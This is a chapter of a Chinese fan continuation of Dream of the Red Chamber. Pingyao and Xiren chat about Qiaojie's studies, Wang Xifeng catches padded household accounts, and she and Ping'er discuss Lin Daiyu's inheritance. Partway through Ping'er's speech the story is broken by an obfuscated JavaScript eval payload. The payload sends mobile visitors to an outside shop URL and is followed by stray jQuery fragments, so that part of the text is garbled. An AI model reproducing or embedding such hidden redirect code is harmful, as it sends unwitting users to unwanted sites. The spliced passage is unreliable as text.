421.二一一上 理灰账慧凤识暗弊

作品:《雪落红楼万芳春

    袭人听见说,便向屋里一努嘴儿,道:“太太乏了,才眯着,怕是还要一阵子才醒,过会子再去罢。”


    平儿便道:“那也罢了。不是着急的事,明儿来回,也是一样。索性出来了,先把林姑娘的茶叶送了去。”


    袭人便笑道:“你要给林姑娘送茶叶,怎么还要单为费一趟事,潇湘馆与我们那里是最近的,我正要回去,不如交给我带了它去,你放心,我不至于便匿下了它的。”


    平儿笑道:“什么话,若是信不过你,这里也没有让人信得过的人了。我才是想着,等给太太回了话,我再往林姑娘那里去,顺带把我们巧姐儿接回来,如今不必回话,立时要去接,又嫌太早些儿。巧姐儿喜欢林姑娘得紧,又格外爱念书写字儿,恨不得就住在潇湘馆才好,有时见我去得早了,她小孩儿家倒不高兴。”说着便从丫头手里将要给黛玉的一份茶也交给袭人。


    这暹罗的茶,包封儿上倒与她们家常见惯的不同,袭人接了茶,感慨道:“按说巧姐儿有这样好学,也真是难得了。这家里的爷们儿,平时千正经万正经的,逢要上学时,都跟扭股儿糖一样,谁似巧姐儿这样是爱上学的。前儿我仿佛听见谁说,巧姐儿如今写字儿也极好,一个什么‘小楷’——我也不懂得——说是写得便往外头比去也不差。算起来,这才学了多久,可见是天生的聪明了。”


    平儿听见夸巧姐儿,心里也自欢喜,笑道:“连我们奶奶也说,她与二爷都不是这一路的人,偏生姐儿这样勤力,天生好读书,也不必人督促,全是她自己着紧,这也有趣儿,便由着她去读罢。总是多谢林姑娘替我们照看着她,让我们奶奶省多少心呢。”提起黛玉来,平儿是真心的感佩,总是夸个不住。


    袭人心内大叹,偏是这女孩儿家爱读书,虽是可敬、可喜,却又有什么用处?若是宝玉能如此,她真是要烧高香了。一面想着,又道:“巧姐儿到底是与林姑娘格外投缘,若非如此,实则园子里头姑娘们都是不错的,便换了是宝姑娘教巧姐儿,也不见得就差了。”


    平儿打量袭人神色,心内了然,她是最通透稳妥的人,自然不会争辩,只是笑道:“这个自然。”


    众人又说了几句话,仍旧各人做各人的差使去了。平儿回到凤姐处,凤姐近来有些畏寒,正披着家常穿惯的一件石青刻丝灰鼠小袄坐在椅上,一面听彩明念账。


    彩明双手捧着厚厚的绵纸账本,正抑扬顿挫地念着,右手食指上还扣着一支小毛笔,备着凤姐问询时好作记号。凤姐儿闭着眼听着,一面就将一只手在桌上不住“笃笃笃”地叩着,这正是她专心聆听思考时的习惯。


    平儿走进来,轻手轻脚地替凤姐添了茶,自己立在一边。


    一时彩明正好念完一节,照例停顿片刻,候着凤姐的示下。凤姐果然睁开眼来,问他:“方才说各房绸缎布匹领用一节,预备丫头老妈子们添补冬季衣裳,是多少钱?”


    彩明赶忙“哗啦哗啦”地向前翻了几页,找到凤姐说的那一项,用手点着查了一回,道:“回奶奶,这一项一共是十三两又四钱银子,除了库房里调用的,这里头还有官布八匹、妆花缎子两匹、绫纱六尺,是单向外买的。”


    凤姐眉尖一竖,道:“不对,按旧例,各人做衣裳要用绸子缎子,该先用内库的存货,若是存货不足了,管库房的人该报了数目儿给采办,采办依样买回来,再交接了入库,这是两样账。前儿盘库的时候,我记得库房里各样缎、锦还剩了有那些,怎么这会子又由做衣裳的人单向外头采买,如今支领的、采买的,两样账混算在一起,这里便有猫腻儿。一季上下人等裁衣裳,该用多少料子,这是有数儿的,到底支领了多少、还差多少,只有个总数儿可不成,叫领东西的人开列单子出来我看。怎么,不多不少的,绫纱料子偏又单缺了六尺?这也新鲜。”


    彩明又仔细看了一回,道:“回奶奶,没有错,账上正是这般写的。”


    凤姐冷笑道:“好,这些人越来越会做事了。记下来,连同方才同你说的家祠今秋祭祀贡品的事,一并标记了,拿出去问着她们。都是做老了事的,怎么内库领用和对外采买的账竟能混在一处,有旧例的也不依旧例了,都依着她们、胡乱打发起来了。哼,她们打量都是细处的账目,没人有那样耐心与她们一一查对,数目儿又不算大,我便瞧不出来了。好哇,若是说不出缘由,让她们来当面与我回话。”


    彩明喏喏地答应着,手里捉着那支小毛笔,照着凤姐的吩咐,飞快地将有疑问的地方一一标记了。他一面在账簿子上折了几个角,一面在心里想,那些人吃了熊心豹子胆了,想钱想疯了,怎么敢在二奶奶跟前儿弄鬼?自己不过是个念账的,逢二奶奶质疑时,都觉战战兢兢的,要是她们亲自来同二奶奶回话,只怕说不了两句就要吓破胆了,他也不敢耽误,立即飞跑出去问着外头的人。


    见彩明去了,平儿走上前来,劝道:“奶奶歇一歇,不必与那些蠢东西生气。”


    凤姐向后倚了倚,冷笑道:“我是有心要歇,奈何那些人以为我如今是有身子的人,恐怕不中用了,越发挖空心思作弄出事来,便如粮库里的耗子一样,这里挖一下、那里挖一下,面儿上都是好的,可若不打点精神仔细应付,恐怕整个库房让她们搬空了,我们还蒙在鼓里呢。”


    平儿劝道:“虽是这个道理,可耗子活在暗处,毕竟是拿不尽的。且她们做事的人,多是打定主意要谋些甜头的,若不睁一只眼闭一只眼、让她们略得些好处,她们越发要在别的地方使坏,真要一门心思地钻营算计起来,却是防


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17389785|162289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不住的,人都说‘水至清则无鱼’,若是一味与她们斗下去,什么时候儿是个头呢,也没有人记奶奶的好儿,何苦为着这些琐碎的事耗费奶奶的心力。依我说,到底瞧着别太过分了,也就过去了。”


    凤姐不觉笑道:“巧儿跟着林姑娘去念书,你倒也跟着学了些墨水儿在肚里,如今说话也是一套一套的大道理,叫人越发难与你这蹄子相辩了。你的意思我明白,正是为了叫她们‘别太过分了’,就得在才露苗头儿的时候及时敲打,早早把规矩立下了,免得她们肆无忌惮起来,越发胆大妄为、反了天了。”


    平儿素知凤姐精明干练,打理家事的本事府内无人能出其右,便也不与她多言争辩,只是道:“随她们闹成什么样子,瞒上贪多也好、虚账造假也罢,究竟我也不在意的,奶奶的身子若是给气伤了、熬坏了,便是替这家里省下一百万两银子,我也不乐意,什么富贵体面,也及不上奶奶一根小手指头儿。”


    凤姐笑道:“你这蹄子胃口也大,随口便说‘一百万两银子’。”又不觉叹道:“论理,若现下真能再有一百万两银子在手里,也不必我整日计较这个、计较那个,平白受底下人那许多埋怨猜忌了。”


    平儿道:“那时为着娘娘省亲的事,又要做工程、又要添置办,各处都要用银子,公中一时没有那些,还是珍大爷想了个法儿,想起咱们在甄家还存了一笔银子,派人赶紧往甄家去拆借,只是数目儿太大,甄家一时却也没有那许多,王家、薛家、史家虽肯帮忙,到底有限,最后是老太太取了一笔体己钱出来,这才过了那一关。我听见说,老太太格外叮嘱了,若家里周转宽裕时,务必要将这一笔银子如数填补回去,说得那般郑重,倒少见老太太这样严肃的时候儿。我想这样大一笔钱,这里使一点、那里使一点,银子真是淌海水一样,多少也不禁用,若真要补上,却也不易,好在这一阵子老太太倒也渐渐不提了,不然二爷和奶奶还要伤脑筋呢,我倒有些纳闷,不知老太太这一笔钱是什么来路。”


    凤姐闻言叹道:“什么来路,你真不知么。”


    平儿心中一动,道:“难道真是——”一面在口型上做了个“林”字。


    凤姐点点头,叹道:“若非如此,老太太是见惯了大场面的,这笔银子数目儿虽大,也不至于就那样紧张起来。你想,林姑父亡故了,身后只这一个亲生女儿,千里迢迢地送在这家里投奔老太太,自然也有些体己交在老太太手里,预备老太太替林姑娘将来婚嫁做主。这便是‘托孤’了,若不是娘娘省亲之事关乎皇家体面,是荣辱生死、关乎根基的大事,老太太决计不会动用那笔钱。”


    平儿便有些担忧,道:“这也难办,将来林姑娘大了,也瞒不住,早晚得问起下落来,若说没有,也太对不住人。”